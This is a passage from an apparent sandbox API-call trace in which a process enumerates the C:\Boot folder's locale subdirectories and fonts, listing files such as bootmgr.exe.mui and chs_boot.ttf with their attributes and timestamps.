ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0033.134] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xfffe) returned 0x38e06d0 [0033.134] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x33bf808 | out: lpFindFileData=0x33bf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x312df0 [0033.134] FindNextFileW (in: hFindFile=0x312df0, lpFindFileData=0x33bf808 | out: lpFindFileData=0x33bf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.134] FindNextFileW (in: hFindFile=0x312df0, lpFindFileData=0x33bf808 | out: lpFindFileData=0x33bf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.134] FindClose (in: hFindFile=0x312df0 | out: hFindFile=0x312df0) returned 1 [0033.135] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x38e06d0 | out: hHeap=0x220000) returned 1 [0033.135] FindNextFileW (in: hFindFile=0x311da8, lpFindFileData=0x33bfa84 | out: lpFindFileData=0x33bfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0033.135] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xfffe) returned 0x38e06d0 [0033.135] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x33bf808 | out: lpFindFileData=0x33bf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x312df0 [0033.135] FindNextFileW (in: hFindFile=0x312df0, lpFindFileData=0x33bf808 | out: lpFindFileData=0x33bf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.135] FindNextFileW (in: hFindFile=0x312df0, lpFindFileData=0x33bf808 | out: lpFindFileData=0x33bf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.135] FindClose (in: hFindFile=0x312df0 | out: hFindFile=0x312df0) returned 1 [0033.135] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x38e06d0 | out: hHeap=0x220000) returned 1 [0033.135] FindNextFileW (in: hFindFile=0x311da8, lpFindFileData=0x33bfa84 | out: lpFindFileData=0x33bfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0033.135] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xfffe) returned 0x38e06d0 [0033.135] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x33bf808 | out: lpFindFileData=0x33bf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x312df0 [0033.135] FindNextFileW (in: hFindFile=0x312df0, lpFindFileData=0x33bf808 | out: lpFindFileData=0x33bf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.135] FindNextFileW (in: hFindFile=0x312df0, lpFindFileData=0x33bf808 | out: lpFindFileData=0x33bf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.136] FindClose (in: hFindFile=0x312df0 | out: hFindFile=0x312df0) returned 1 [0033.136] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x38e06d0 | out: hHeap=0x220000) returned 1 [0033.136] FindNextFileW (in: hFindFile=0x311da8, lpFindFileData=0x33bfa84 | out: lpFindFileData=0x33bfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0033.136] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xfffe) returned 0x38e06d0 [0033.136] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x33bf808 | out: lpFindFileData=0x33bf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x312df0 [0033.136] FindNextFileW (in: hFindFile=0x312df0, lpFindFileData=0x33bf808 | out: lpFindFileData=0x33bf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.136] FindNextFileW (in: hFindFile=0x312df0, lpFindFileData=0x33bf808 | out: lpFindFileData=0x33bf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.136] FindClose (in: hFindFile=0x312df0 | out: hFindFile=0x312df0) returned 1 [0033.136] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x38e06d0 | out: hHeap=0x220000) returned 1 [0033.136] FindNextFileW (in: hFindFile=0x311da8, lpFindFileData=0x33bfa84 | out: lpFindFileData=0x33bfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0033.136] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xfffe) returned 0x38e06d0 [0033.136] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x33bf808 | out: lpFindFileData=0x33bf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x312df0 [0033.136] FindNextFileW (in: hFindFile=0x312df0, lpFindFileData=0x33bf808 | out: lpFindFileData=0x33bf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.136] FindNextFileW (in: hFindFile=0x312df0, lpFindFileData=0x33bf808 | out: lpFindFileData=0x33bf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.137] FindClose (in: hFindFile=0x312df0 | out: hFindFile=0x312df0) returned 1 [0033.137] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x38e06d0 | out: hHeap=0x220000) returned 1 [0033.137] FindNextFileW (in: hFindFile=0x311da8, lpFindFileData=0x33bfa84 | out: lpFindFileData=0x33bfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0033.137] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xfffe) returned 0x38e06d0 [0033.137] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x33bf808 | out: lpFindFileData=0x33bf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x312df0 [0033.137] FindNextFileW (in: hFindFile=0x312df0, lpFindFileData=0x33bf808 | out: lpFindFileData=0x33bf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.137] FindNextFileW (in: hFindFile=0x312df0, lpFindFileData=0x33bf808 | out: lpFindFileData=0x33bf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0033.137] FindClose (in: hFindFile=0x312df0 | out: hFindFile=0x312df0) returned 1 [0033.137] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x38e06d0 | out: hHeap=0x220000) returned 1 [0033.137] FindNextFileW (in: hFindFile=0x311da8, lpFindFileData=0x33bfa84 | out: lpFindFileData=0x33bfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0033.137] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xfffe) returned 0x38e06d0 [0033.137] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x33bf808 | out: lpFindFileData=0x33bf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x312df0 [0033.138] FindNextFileW (in: hFindFile=0x312df0, lpFindFileData=0x33bf808 | out: lpFindFileData=0x33bf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.138] FindNextFileW (in: hFindFile=0x312df0, lpFindFileData=0x33bf808 | out: lpFindFileData=0x33bf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.138] FindClose (in: hFindFile=0x312df0 | out: hFindFile=0x312df0) returned 1 [0033.138] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x38e06d0 | out: hHeap=0x220000) returned 1 [0033.138] FindNextFileW (in: hFindFile=0x311da8, lpFindFileData=0x33bfa84 | out: lpFindFileData=0x33bfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0033.138] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xfffe) returned 0x38e06d0 [0033.138] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x33bf808 | out: lpFindFileData=0x33bf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x312df0 [0033.138] FindNextFileW (in: hFindFile=0x312df0, lpFindFileData=0x33bf808 | out: lpFindFileData=0x33bf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.138] FindNextFileW (in: hFindFile=0x312df0, lpFindFileData=0x33bf808 | out: lpFindFileData=0x33bf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.138] FindClose (in: hFindFile=0x312df0 | out: hFindFile=0x312df0) returned 1 [0033.138] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x38e06d0 | out: hHeap=0x220000) returned 1 [0033.138] FindNextFileW (in: hFindFile=0x311da8, lpFindFileData=0x33bfa84 | out: lpFindFileData=0x33bfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0033.138] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xfffe) returned 0x38e06d0 [0033.138] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x33bf808 | out: lpFindFileData=0x33bf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x312df0 [0033.139] FindNextFileW (in: hFindFile=0x312df0, lpFindFileData=0x33bf808 | out: lpFindFileData=0x33bf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.139] FindNextFileW (in: hFindFile=0x312df0, lpFindFileData=0x33bf808 | out: lpFindFileData=0x33bf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.139] FindClose (in: hFindFile=0x312df0 | out: hFindFile=0x312df0) returned 1 [0033.139] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x38e06d0 | out: hHeap=0x220000) returned 1 [0033.139] FindNextFileW (in: hFindFile=0x311da8, lpFindFileData=0x33bfa84 | out: lpFindFileData=0x33bfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0033.139] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xfffe) returned 0x38e06d0 [0033.139] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x33bf808 | out: lpFindFileData=0x33bf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x312df0 [0033.139] FindNextFileW (in: hFindFile=0x312df0, lpFindFileData=0x33bf808 | out: lpFindFileData=0x33bf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.139] FindNextFileW (in: hFindFile=0x312df0, lpFindFileData=0x33bf808 | out: lpFindFileData=0x33bf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.139] FindClose (in: hFindFile=0x312df0 | out: hFindFile=0x312df0) returned 1 [0033.139] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x38e06d0 | out: hHeap=0x220000) returned 1 [0033.139] FindNextFileW (in: hFindFile=0x311da8, lpFindFileData=0x33bfa84 | out: lpFindFileData=0x33bfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0033.139] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xfffe) returned 0x38e06d0 [0033.139] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x33bf808 | out: lpFindFileData=0x33bf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x312df0 [0033.140] FindNextFileW (in: hFindFile=0x312df0, lpFindFileData=0x33bf808 | out: lpFindFileData=0x33bf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, 